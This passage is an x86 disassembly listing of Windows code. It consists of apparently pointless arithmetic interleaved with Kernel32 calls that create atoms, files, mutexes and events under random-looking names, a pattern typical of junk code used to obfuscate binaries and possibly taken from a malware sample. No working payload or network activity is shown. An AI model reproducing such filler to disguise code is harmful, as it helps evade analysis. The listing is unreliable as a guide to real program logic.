push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba8ac], eax
lea ecx, [ebp - 0xbec]
mov dword [0x100ba8bc], ecx
mov dword [ebp - 0x4340], 0x100b718a
mov edx, dword [0x100b9584]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2ad0]
mov dword [ebp - 0x3744], eax
mov ecx, dword [ebp - 0x37b8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x298]
add edx, eax
mov byte [0x100b7ff2], dl
mov ecx, dword [0x100b9edc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3a10]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x1314], dx
mov edx, dword [0x100b9730]
mov ax, word [edx]
mov word [ebp - 0x14b4], ax
mov ecx, dword [0x100b9a7c]
mov edx, dword [ebp - 0x3a2c]
and edx, dword [ecx]
mov eax, dword [0x100ba590]
mov dword [eax], edx
movsx ecx, word [ebp - 0x89c]
mov edx, dword [ebp - 0x3cd0]
movsx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x4138]
mov word [edx], cx
push str.MbtXRw9FXfer
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14b8], ax
push 0x100ba8c0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 1
push 0x100ba3c8
mov eax, dword [ebp - 0x9870]
push eax
mov ecx, dword [ebp - 0x9874]
push ecx
mov edx, dword [0x100b981c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4344], eax
movzx eax, byte [ebp - 0x1a5]
movzx ecx, byte [0x100b80be]
sub eax, ecx
mov byte [ebp - 0xba], al
lea edx, [ebp - 0x2de4]
mov dword [0x100ba8e4], edx
push 0x100ba8e8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, byte [ebp - 0x2a8]
movsx ecx, byte [0x100b7d97]
shl eax, cl
mov byte [ebp - 0x177], al
mov ecx, dword [ebp - 0x42a0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1420]
sar edx, cl
mov word [ebp - 0x1300], dx
movzx eax, word [ebp - 0x12c8]
movzx ecx, word [ebp - 0x82c]
cdq
idiv ecx
mov word [0x100b721c], ax
movsx edx, byte [0x100b7156]
movsx eax, byte [ebp - 0x2b8]
add edx, eax
mov byte [ebp - 0x2e], dl
mov ecx, dword [ebp - 0x2e1c]
mov dword [0x100ba900], ecx
lea edx, [ebp - 0x670]
mov dword [ebp - 0x4348], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x434c], eax
push 0x24ae
mov eax, dword [0x100ba3f0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3764], eax
movzx ecx, byte [0x100b80ef]
movzx edx, byte [ebp - 0x26c]
and ecx, edx
mov byte [ebp - 0x155], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba568], eax
mov eax, dword [ebp - 0x3d7c]
imul eax, dword [ebp - 0x37b0]
mov dword [0x100b734c], eax
mov cx, word [ebp - 0x1480]
mov word [ebp - 0x14bc], cx
movzx edx, word [ebp - 0x1154]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba904], ax
lea eax, [ebp - 0x2f30]
mov dword [ebp - 0x4350], eax
mov ecx, dword [0x100ba458]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3698]
movsx ecx, word [eax]
or edx, ecx
mov word [0x100b7330], dx
mov edx, dword [0x100b71dc]
xor edx, dword [ebp - 0x2bf4]
mov dword [ebp - 0x3968], edx
lea eax, [ebp - 0x27c]
mov dword [ebp - 0x4354], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4358], eax
movzx ecx, word [ebp - 0x11c4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9700], ax
push 0
push 4
push 0
push 0
push 1
push 0x40000000
push str.MnMV3b45M5yyup9qUTiLdQUliB
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x435c], eax
mov edx, dword [0x100b998c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x138]
shl eax, cl
mov byte [0x100b7257], al
mov ecx, dword [ebp - 0x38dc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x36d0]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4188]
mov byte [ecx], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba908], eax
push 0x100a6b84
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba90c], ax
mov edx, dword [0x100b9bc0]
mov eax, dword [ebp - 0x3ec8]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x36b0], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4360], eax
push str.3CWh6P_WtxxqTa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x149c], ax
movzx edx, byte [ebp - 0x1fd]
movzx eax, byte [ebp - 0x2a1]
and edx, eax
mov ecx, dword [0x100ba564]
mov byte [ecx], dl
mov edx, dword [0x100ba4d8]
mov ax, word [edx]
mov word [ebp - 0x14c0], ax
push 1
lea ecx, [ebp - 0x986c]
push ecx
mov edx, dword [0x100ba914]
push edx
mov eax, dword [0x100ba910]
push eax
mov ecx, dword [0x100ba178]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4364], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba66c], eax
mov dword [ebp - 0x4368], 0x100b72bc
lea edx, [ebp - 0x2ee0]
mov dword [0x100ba918], edx
movsx eax, byte [ebp - 0x87]
movsx ecx, byte [ebp - 0x22]
xor eax, ecx
mov byte [ebp - 0x178], al
mov edx, dword [ebp - 0x2e18]
xor edx, dword [ebp - 0x2ebc]
mov dword [ebp - 0x2b8c], edx
movzx eax, byte [0x100b71ee]
movzx ecx, byte [ebp - 0x288]
xor eax, ecx
mov byte [0x100b7143], al
mov edx, dword [ebp - 0x3678]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1244], ax
push 0x100ba91c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3ff8], eax
movsx eax, word [ebp - 0xbd8]
movsx ecx, word [ebp - 0x12b0]
sub eax, ecx
mov word [ebp - 0x1390], ax
movzx edx, word [0x100b9bbc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11bc], ax
push 0
push 0x200
push 0
push 0
push 4
push 0x40000000
push str.icFSEnk3ckzX0YODgZjDkort
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x436c], eax
mov eax, dword [ebp - 0x349c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x35c4]
movsx eax, byte [edx]
or ecx, eax
mov byte [0x100b71c7], cl
movzx ecx, word [0x100ba560]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x14c4], ax
mov dx, word [ebp - 0x13ac]
mov word [ebp - 0x14c8], dx
mov eax, dword [ebp - 0x2e1c]
mov ecx, dword [ebp - 0x3634]
shl eax, cl
mov dword [ebp - 0x2cb0], eax
push 0x100ba940
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3354], eax
lea ecx, [ebp - 0x3f10]
mov dword [0x100ba958], ecx
lea edx, [ebp - 0x299]
mov dword [ebp - 0x4370], edx
mov eax, dword [ebp - 0x4280]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x1340]
sar edx, cl
mov eax, dword [ebp - 0x4138]
mov word [eax], dx
movsx ecx, byte [ebp - 0x194]
mov edx, dword [0x100b98b8]
movsx eax, byte [edx]
and ecx, eax
mov byte [0x100b722b], cl
mov ecx, dword [ebp - 0x4134]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35d0]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x510], dx
push str.EFZQ9_SyK476OnUrwV.NU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba95c], ax
lea edx, [ebp - 0x35e0]
mov dword [ebp - 0x4374], edx
mov eax, dword [ebp - 0x4158]
mov ecx, dword [eax]
mov dword [0x100ba960], ecx
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x412c]
mov byte [ecx], al
mov dl, byte [ebp - 0x69]
mov byte [ebp - 0x2cb], dl
movzx eax, word [ebp - 0x1358]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9f70], ax
movsx ecx, word [0x100b9888]
movsx edx, word [ebp - 0x1160]
and ecx, edx
mov eax, dword [0x100ba788]
mov word [eax], cx
mov ecx, dword [ebp - 0x39d4]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1420]
sar edx, cl
mov word [ebp - 0xf0c], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4378], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba964], eax
mov eax, dword [ebp - 0x426c]
mov ecx, dword [ebp - 0x3858]
shl eax, cl
mov ecx, dword [ebp - 0x38d4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3bb8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x34d0]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b725a], al
mov eax, dword [0x100ba394]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2c3]
add ecx, edx
mov byte [ebp - 0x8d], cl
mov dword [ebp - 0x437c], 0x100b72e8
movzx eax, word [0x100b9b60]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1284], ax
mov cx, word [ebp - 0x10b8]
mov word [0x100ba968], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4380], eax
mov edx, dword [ebp - 0x370c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x4b8]
and eax, ecx
mov edx, dword [ebp - 0x37f8]
mov word [edx], ax
mov eax, dword [ebp - 0x3ffc]
mov dword [ebp - 0x4384], eax
mov ecx, dword [ebp - 0x3bb8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3824]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b80bf], dl
movzx ecx, word [0x100ba06c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba96c], ax
mov edx, dword [ebp - 0x4340]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4028]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x409c]
mov byte [ecx], al
push str.E6S7JfH6_3mUgq_EqTW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14cc], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9b14], eax
mov edx, dword [ebp - 0x4134]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33ec]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x6a0], ax
push 0
push 0x345b
push 0x334c
push 0xbc
mov edx, dword [ebp - 0x38f8]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x3c00], eax
mov eax, dword [ebp - 0x3644]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x127c]
or ecx, edx
mov word [0x100b71f4], cx
mov eax, dword [ebp - 0x41a0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3804]
mov dword [ebp - 0x2df8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba970], eax
mov dword [ebp - 0x4388], 0x100b72a0
lea edx, [ebp - 0x40c4]
mov dword [0x100ba974], edx
movsx eax, byte [0x100b7f8e]
movsx ecx, byte [0x100b7d97]
and eax, ecx
mov byte [ebp - 0x43], al
movzx edx, byte [ebp - 0x2c0]
mov eax, dword [ebp - 0x4370]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100ba3d8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x41bc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4200]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xf60], ax
lea eax, [ebp - 0x2e84]
mov dword [ebp - 0x438c], eax
mov dword [0x100ba978], 0x100b720c
mov cx, word [ebp - 0x1348]
mov word [ebp - 0x14d0], cx
push str.OB_LPZO
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba97c], ax
movsx edx, byte [ebp - 0x293]
mov eax, dword [ebp - 0x4254]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x261], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4390], eax
lea edx, [ebp - 0x2c0]
mov dword [0x100ba980], edx
movsx eax, byte [ebp - 0x2a5]
movsx ecx, byte [ebp - 0x43]
shl eax, cl
mov byte [ebp - 0x113], al
mov ecx, dword [ebp - 0x2f40]
add ecx, dword [0x100ba028]
mov dword [ebp - 0x2e00], ecx
lea edx, [ebp - 0x9df0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [ebp - 0xa34]
mov ecx, dword [0x100b9c5c]
movzx edx, word [ecx]
and eax, edx
mov word [0x100b72c0], ax
mov eax, dword [0x100b980c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x39d8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx edx, word [ebp - 0x1474]
mov eax, dword [0x100b99ac]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x3ed8]
mov word [eax], dx
push 1
lea ecx, [ebp - 0x983c]
push ecx
mov edx, dword [0x100ba98c]
push edx
mov eax, dword [0x100ba988]
push eax
mov ecx, dword [0x100b96b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4394], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba984], eax
lea edx, [ebp - 0x3ea0]
mov dword [ebp - 0x4398], edx
movzx eax, byte [0x100b71af]
mov ecx, dword [ebp - 0x3974]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100ba4a8]
mov byte [ecx], al
movsx edx, byte [ebp - 0x2b4]
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x143], dl
mov ecx, dword [ebp - 0x3a40]
mov edx, dword [ebp - 0x37f4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x39e8]
mov dword [ecx], eax
mov dx, word [ebp - 0x1370]
mov word [0x100ba990], dx
movsx eax, word [0x100b9fe8]
mov ecx, dword [ebp - 0x370c]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x36ac]
mov word [ecx], ax
lea edx, [ebp - 0xe28]
mov dword [ebp - 0x439c], edx
mov eax, dword [0x100ba038]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4124], eax
movzx ecx, byte [ebp - 0xb6]
mov edx, dword [ebp - 0x3de4]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x100ba824]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba994], eax
mov eax, dword [ebp - 0x42b0]
mov ecx, dword [ebp - 0x41fc]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2df8], edx
lea eax, [ebp - 0x3340]
mov dword [ebp - 0x43a0], eax
mov ecx, dword [0x100ba48c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c0]
movsx ecx, byte [eax]
or edx, ecx
mov byte [0x100b725b], dl
movzx edx, word [ebp - 0x1100]
movzx ecx, word [ebp - 0x14a0]
sar edx, cl
mov word [ebp - 0x8a8], dx
lea eax, [ebp - 0x9e08]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x1214]
mov dword [ebp - 0x43a4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x36d8], eax
mov dword [0x100ba998], 0x100b714b
movzx edx, byte [ebp - 0x29f]
movzx eax, byte [0x100b71ea]
add edx, eax
mov ecx, dword [ebp - 0x3de4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x36b8]
mov dword [ebp - 0x43a8], edx
mov eax, dword [0x100ba6e8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3d94]
mov dword [0x100b730c], ecx
mov edx, dword [ebp - 0x3b00]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4178]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x2c4], al
mov edx, dword [ebp - 0x3818]
mov ax, word [edx]
mov word [ebp - 0x14d4], ax
movsx ecx, word [0x100b7304]
mov edx, dword [0x100ba768]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [0x100ba4d8]
mov word [edx], cx
push 0xe0e
mov eax, dword [0x100ba880]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3924], eax
movzx ecx, byte [ebp - 0x277]
movzx edx, byte [ebp - 0x279]
xor ecx, edx
mov eax, dword [ebp - 0x3e34]
mov byte [eax], cl
push str.IBsp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba99c], ax
push 0x100b9784
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x43ac], ecx
push str.T9QCtz
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14d8], ax
lea edx, [ebp - 0x6a0]
mov dword [0x100ba9a0], edx
movzx eax, word [ebp - 0x12f8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba9a4], ax
mov ecx, dword [0x100b99a8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.ZibhwruH_mWuR2XqO_vIjwkrS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14dc], ax
mov edx, dword [ebp - 0x364c]
mov eax, dword [ebp - 0x3fdc]
add eax, dword [edx]
mov dword [ebp - 0x2f78], eax
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x29b]
sar edx, cl
mov byte [ebp - 0x161], dl
push 0x3be0
push 0x2890
push 0x213f
push 0x2f40
mov eax, dword [ebp - 0x436c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba2b4], eax
movsx ecx, word [ebp - 0x1248]
mov edx, dword [0x100ba458]
movsx eax, word [edx]
or ecx, eax
mov word [0x100b95ec], cx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x43b0], eax
movzx ecx, byte [ebp - 0x257]
movzx edx, byte [ebp - 0x155]
and ecx, edx
mov byte [ebp - 0x2b], cl
mov eax, dword [ebp - 0x38c8]
imul eax, dword [0x100b7204]
mov dword [ebp - 0x3790], eax
lea ecx, [ebp - 0x177]
mov dword [0x100ba9a8], ecx
mov edx, dword [ebp - 0x39a0]
mov ax, word [edx]
mov word [ebp - 0x14e0], ax
movzx ecx, word [0x100b72d8]
movzx edx, word [0x100ba5dc]
xor ecx, edx
mov eax, dword [ebp - 0x3648]
mov word [eax], cx
push 0
push 0x20
push 1
push 0
push 8
push 0xc0000000
push str.jz4ExJYcOx5fSeh
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba9ac], eax
mov eax, dword [ebp - 0x2dc8]
xor edx, edx
mov ecx, 0x44e3
div ecx
mov dword [0x100b727c], eax
mov dword [ebp - 0x43b4], 0x100b9f14
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x43b8], eax
movzx edx, byte [0x100b8137]
movzx eax, byte [ebp - 0x26b]
sub edx, eax
mov ecx, dword [ebp - 0x41a8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2d38]
mov dword [0x100ba9b0], edx
mov eax, dword [ebp - 0x3d20]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x28]
shl edx, cl
mov byte [ebp - 0x1f6], dl
lea eax, [ebp - 0x12fc]
mov dword [ebp - 0x43bc], eax
push 0x133f
mov ecx, dword [0x100ba510]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba9b4], eax
movzx edx, word [0x100b71d8]
mov eax, dword [ebp - 0x3cd4]
movzx ecx, word [eax]
add edx, ecx
mov word [0x100ba3f4], dx
movsx edx, byte [ebp - 0x3c]
mov eax, dword [ebp - 0x42b4]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x17c], dl
mov ecx, dword [ebp - 0x2ef4]
and ecx, dword [0x100b72d4]
mov dword [0x100b7350], ecx
mov edx, dword [ebp - 0x3b40]
mov ax, word [edx]
mov word [ebp - 0x14e4], ax
push 0x688
push 0
lea ecx, [ebp - 0x3344]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x39dc], eax
push str.V7SE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba9b8], ax
push 0x11b3
push 0
push 0x100b9838
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x43c0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3728], eax
movzx edx, byte [0x100b80e3]
movzx eax, byte [ebp - 0x8d]
or edx, eax
mov byte [ebp - 8], dl
lea ecx, [ebp - 0x2af8]
mov dword [0x100ba9bc], ecx
mov edx, dword [ebp - 0x35ec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x14e0]
xor eax, ecx
mov edx, dword [ebp - 0x3428]
mov word [edx], ax
mov eax, dword [ebp - 0x4294]
mov ecx, dword [ebp - 0x3760]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3a50]
mov dword [eax], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba9c0], eax
push 0x100b97cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0x7d8]
mov eax, dword [ebp - 0x391c]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100ba340]
mov word [ecx], dx
lea edx, [ebp - 0x3a2c]
mov dword [ebp - 0x43c4], edx
movzx eax, byte [0x100b8137]
mov ecx, dword [ebp - 0x3ba8]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x419c]
mov byte [ecx], al
movsx edx, byte [0x100b7dfe]
mov eax, dword [ebp - 0x4094]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7262], dl
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x43c8], ecx
push str.y_RYiQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14e8], ax
push 0x646
push 0
lea edx, [ebp - 0x3d00]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100ba54c], eax
mov eax, dword [ebp - 0x3a40]
mov ecx, dword [0x100b7318]
xor ecx, dword [eax]
mov dword [ebp - 0x3130], ecx
mov edx, dword [ebp - 0x4354]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2b7]
add eax, ecx
mov byte [0x100b80e7], al
push 0
push 0x20
push 4
push 0
push 4
push 0xc0000000
push str.A5Rxlt5IAsYQUixbos
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x43cc], eax
mov dx, word [ebp - 0xe74]
mov word [ebp - 0x14ec], dx
mov eax, dword [0x100ba7bc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xda8]
or ecx, edx
mov word [ebp - 0x1150], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba9c4], eax
mov eax, dword [0x100b72d4]
mov dword [0x100ba9c8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba9cc], eax
movsx ecx, byte [ebp - 0xa5]
movsx edx, byte [0x100b7e02]
and ecx, edx
mov byte [ebp - 0xc3], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3864], eax
lea eax, [ebp - 0x2b48]
mov dword [ebp - 0x43d0], eax
movzx ecx, byte [ebp - 0x291]
mov edx, dword [0x100ba8a0]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x100ba0bc]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x43d4], eax
mov eax, dword [ebp - 0x36f0]
movzx edx, word [eax]
mov eax, dword [0x100b9ab8]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7ac], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba798], eax
movsx edx, word [ebp - 0x1194]
mov eax, dword [ebp - 0x4138]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x5dc], dx
mov ecx, dword [ebp - 0x3624]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7f26]
add edx, eax
mov ecx, dword [0x100ba298]
mov byte [ecx], dl
movzx edx, word [ebp - 0x12c8]
movzx eax, word [ebp - 0xb0c]
and edx, eax
mov word [ebp - 0x9e8], dx
mov ecx, dword [0x100ba238]
mov edx, dword [ebp - 0x3770]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [ebp - 0x3080], eax
mov ecx, dword [ebp - 0x2e00]
xor ecx, dword [0x100b9dd4]
mov dword [0x100b7354], ecx
mov edx, dword [ebp - 0x3f64]
mov al, byte [edx]
mov byte [ebp - 0x2cc], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x43d8], eax
push 2
lea ecx, [ebp - 0x9854]
push ecx
mov edx, dword [0x100ba9d4]
push edx
mov eax, dword [0x100ba9d0]
push eax
mov ecx, dword [0x100b970c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3a00], eax
mov edx, dword [ebp - 0x3988]
movsx eax, word [edx]
movsx ecx, word [0x100b7314]
or eax, ecx
mov edx, dword [ebp - 0x41ec]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba07c], eax
movsx eax, byte [0x100b7ff2]
cdq
mov ecx, 0x2f
idiv ecx
mov byte [0x100b7223], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x43dc], eax
lea edx, [ebp - 0xe28]
mov dword [ebp - 0x43e0], edx
mov eax, dword [0x100ba974]
mov edx, dword [eax]
mov ecx, dword [0x100b97a0]
shl edx, cl
mov dword [ebp - 0x3958], edx
lea eax, [ebp - 0x2e08]
mov dword [0x100ba9d8], eax
mov ecx, dword [ebp - 0x4354]
mov dl, byte [ecx]
mov byte [ebp - 0x2cd], dl
movsx eax, byte [ebp - 0x271]
movsx ecx, byte [ebp - 0x129]
sar eax, cl
mov ecx, dword [ebp - 0x3bb4]
mov byte [ecx], al
movsx edx, word [ebp - 0xbe8]
movsx eax, word [ebp - 0x1340]
add edx, eax
mov ecx, dword [0x100ba228]
mov word [ecx], dx
mov edx, dword [ebp - 0x3ed0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3814]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x504], ax
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [ebp - 0x2fd8]
imul ecx, dword [eax]
mov edx, dword [ebp - 0x43a0]
mov dword [edx], ecx
lea eax, [ebp - 0x1f2]
mov dword [0x100ba9dc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba9e0], eax
push 0
push 0x100b9710
mov ecx, dword [ebp - 0x9878]
push ecx
mov edx, dword [ebp - 0x987c]
push edx
mov eax, dword [0x100b970c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3bc8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3bac], eax
mov cl, byte [ebp - 0x297]
mov byte [ebp - 0x2ce], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba9e4], eax
mov dword [ebp - 0x43e4], 0x100b723c
mov dx, word [ebp - 0x618]
mov word [0x100ba9e8], dx
movsx eax, word [ebp - 0x14c0]
movsx ecx, word [ebp - 0x1374]
xor eax, ecx
mov word [ebp - 0x1130], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba644], eax
mov edx, dword [ebp - 0x3a40]
mov eax, dword [ebp - 0x2d10]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x3f00]
mov dword [ecx], eax
push 0
push 0
